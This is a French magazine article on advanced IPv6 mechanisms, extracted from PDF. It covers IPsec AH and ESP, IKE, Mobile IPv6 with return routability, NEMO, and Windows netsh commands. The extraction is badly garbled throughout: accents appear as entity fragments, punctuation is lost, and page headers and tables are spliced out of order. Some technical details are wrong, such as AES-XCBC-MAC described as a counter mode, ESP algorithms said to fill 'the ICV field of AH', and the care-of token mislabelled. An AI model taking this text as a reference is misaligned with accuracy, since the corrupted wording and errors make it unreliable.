Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

